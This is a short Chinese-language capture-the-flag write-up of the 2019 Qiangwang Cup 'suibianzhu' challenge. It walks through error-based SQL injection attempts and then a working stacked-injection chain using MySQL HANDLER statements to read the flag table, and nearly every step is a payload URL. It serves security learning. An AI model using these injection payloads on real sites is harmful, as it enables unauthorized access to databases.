[强网杯 2019]随便注
先输入1和1’测试一下注入类型。
输入1时的回显如图所示
输入1’的回显如图所示
说明这是注入点,且报错直接输出了,不妨试一下报错注入。构造payload如下:
http://1.14.71.254:28402/?inject=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
很明显,updatexml被禁了,且/i表明对大小写敏感,不能通过大写绕过,于是试了双写,发现还是不行。那就换另外一个报错注入的函数,构造payload如下:
http://1.14.71.254:28402/?inject=1' and extractvalue(1,concat(0x7e,(show databases)))--+
很奇怪的是它尽然报了语法错误,没有弄明白。就放弃了报错注入。 尝试堆叠注入,构造payload如下:
http://1.14.71.254:28402/?inject=-1';show databases--+
堆叠注入成功!然后就开始根据得到的数据库查询更多,博主查询了ctftraining里面没有内容,下面展示查询supersqli的表的构造:
http://1.14.71.254:28402/?inject=-1';show tables from supersqli--+
报出了两张表,在这里我用handler来读取表里面的内容,构造的payload如下:
http://1.14.71.254:28402/?inject=-1';handler `1919810931114514` open;handler `1919810931114514` read first;handelr `1919810931114514` close--+
成功得到flag!